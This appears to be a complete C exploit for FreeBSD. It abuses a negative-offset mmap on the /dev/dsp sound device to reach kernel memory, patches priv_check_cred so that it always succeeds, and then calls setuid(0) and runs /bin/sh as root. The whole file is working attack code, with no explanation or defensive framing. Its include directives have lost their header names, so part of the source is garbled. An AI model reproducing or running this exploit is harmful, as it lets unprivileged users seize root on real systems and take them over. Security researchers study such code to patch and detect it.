#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) { \ error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ exit(1); \ } \ __res; \ }) #define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); #define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__); #define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); #define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); #define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x); #define rep(X,Y) for (int X = 0;X < (Y);++X) #define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4) #define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8) #define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16) #define irep(X) for (int X = 0;;++X) #define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X) #define range(X,Y,Z) for (int X = Y;X < Z;X++) #define __DBG__ _dbg(__FILE__, __LINE__); void _dbg(const char *file, int line) { info("dbg @ %s:%d", file,line); getchar(); } #define __CHK__(x) _chk( __FILE__, __LINE__, #x,x); void _chk(const char *msg, int line, const char *code, int cond) { if (cond) { success("[OK] %s @ %s:%d",code,msg,line); } else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); } } void _xxd_qword(char *buf, int size) { char *p = buf; dqrep (i, size) { printf("0x%06x |", (int)i); printf(" 0x%016lx ", *(unsigned long *)(p + i)); printf(" 0x%016lx ", *(unsigned long *)(p + i + 8)); printf("\n"); } } #define xxd_qword(X,Y) \ puts("[" #X "]"); \ _xxd_qword((char *)(X), (int)Y) void _xxd(char *buf, int size) { char *p = buf; dqrep (i, size) { printf("0x%06x |", (int)i); rep (j, 0x10) { printf(" %02x", *(unsigned char *)(p+i+j)); } printf(" |"); rep (j, 0x10) { if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) { printf("."); } else { printf("%c", *(unsigned char *)(p + i + j)); } } printf("|\n"); } } #define xxd(X,Y) \ puts("[" #X "]"); \ _xxd((char *)(X), (int)Y) #define DEV_PATH "/dev/dsp" #define PAGE_SZ 4096ULL #define SPRAY_FDS 850 #define FRAGS 32U #define FRAGLOG 12U #define PRIV_CHECK_CRED_OFF 0x950af0ULL static uint64_t kernel_base(void) { struct kld_file_stat st; memset(&st, 0, sizeof(st)); st.version = sizeof(st); SYSCHK(kldstat(1, &st) < 0); return ((uint64_t)(uintptr_t)st.address); } static void raise_limits(void) { struct rlimit rl; if (getrlimit(RLIMIT_NOFILE, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NOFILE, &rl); } #if defined(RLIMIT_AS) if (getrlimit(RLIMIT_AS, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_AS, &rl); } #endif } static void set_fragments(int fd) { int arg; arg = (2 << 16) | 4; (void)ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg); arg = (FRAGS << 16) | FRAGLOG; SYSCHK(ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg) != 0); } static uint64_t self_dsp_mapping_offset(void *addr) { int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_VMMAP, getpid() }; size_t len = 0; char *buf, *p, *end; uint64_t a = (uint64_t)(uintptr_t)addr; SYSCHK(sysctl(mib, 4, NULL, &len, NULL, 0) != 0); buf = malloc(len); __CHK__(buf != NULL) SYSCHK(sysctl(mib, 4, buf, &len, NULL, 0) != 0); p = buf; end = buf + len; while (p < end) { struct kinfo_vmentry *kve = (struct kinfo_vmentry *)p; if (kve->kve_structsize == 0) break; if (a >= kve->kve_start && a < kve->kve_end && kve->kve_type == KVME_TYPE_DEVICE && strstr(kve->kve_path, "dsp") != NULL) { uint64_t off = kve->kve_offset; free(buf); return (off); } p += kve->kve_structsize; } free(buf); fprintf(stderr, "failed to find own /dev/dsp mapping in KERN_PROC_VMMAP\n"); exit(1); } static int open_prime_one(void **map_out) { int fd = SYSCHK(open(DEV_PATH, O_RDWR)); set_fragments(fd); *map_out = SYSCHK(mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)); return (fd); } int main(void) { int spray_fd[SPRAY_FDS]; void *spray_map[SPRAY_FDS]; int fd; void *prime, *evil, *target_user; uint64_t kbase, target, target_page, target_off; uint64_t buf_kva, d, q, r, k, map_len64, need, touch_delta; off_t neg_off; raise_limits(); rep(i, SPRAY_FDS) { spray_fd[i] = -1; spray_map[i] = MAP_FAILED; } kbase = kernel_base(); target = kbase + PRIV_CHECK_CRED_OFF; hl(kbase); hl(target); rep(i, SPRAY_FDS) { spray_fd[i] = SYSCHK(open_prime_one(&spray_map[i])); } fd = SYSCHK(open_prime_one(&prime)); buf_kva = self_dsp_mapping_offset(prime); hl(buf_kva); target_page = target & ~(PAGE_SZ - 1); target_off = target & (PAGE_SZ - 1); if (target_page <= buf_kva) { fprintf(stderr, "target is not forward from buf KVA\n"); return (1); } d = target_page - buf_kva; q = d >> 32; r = d & 0xffffffffULL; need = (q << 32) + PAGE_SZ; k = q + 1; map_len64 = (k << 32) - r; if (map_len64 < need) map_len64 = ((++k) << 32) - r; touch_delta = d - r; printf("[+] first mapped KVA low32 = 0x%08jx\n", (uintmax_t)r); printf("[+] mmap length = 0x%jx, touch delta = 0x%jx, pageoff = 0x%jx\n", (uintmax_t)map_len64, (uintmax_t)touch_delta, (uintmax_t)target_off); if (map_len64 > (uint64_t)SIZE_MAX || map_len64 > (uint64_t)INT64_MAX) { fprintf(stderr, "map length too large\n"); return (1); } neg_off = -(off_t)map_len64; evil = SYSCHK(mmap(NULL, (size_t)map_len64, PROT_READ | PROT_WRITE, MAP_SHARED, fd, neg_off)); target_user = (void *)((uintptr_t)evil + (uintptr_t)touch_delta + (uintptr_t)target_off); hl(target_user); xxd(target_user,0x10); volatile uint8_t *p = (volatile uint8_t *)target_user; static const uint8_t patch[] = { 0x31, 0xc0, 0xc3,0x90, 0x90, 0x90, 0x90, 0x90 }; for (size_t i = 0; i < sizeof(patch); i++) p[i] = patch[i]; SYSCHK(setgid(0)); SYSCHK(setuid(0)); __CHK__(geteuid() == 0); __CHK__(getuid() == 0); char *argv[] = { "/bin/sh", NULL }; execv(argv[0], argv); }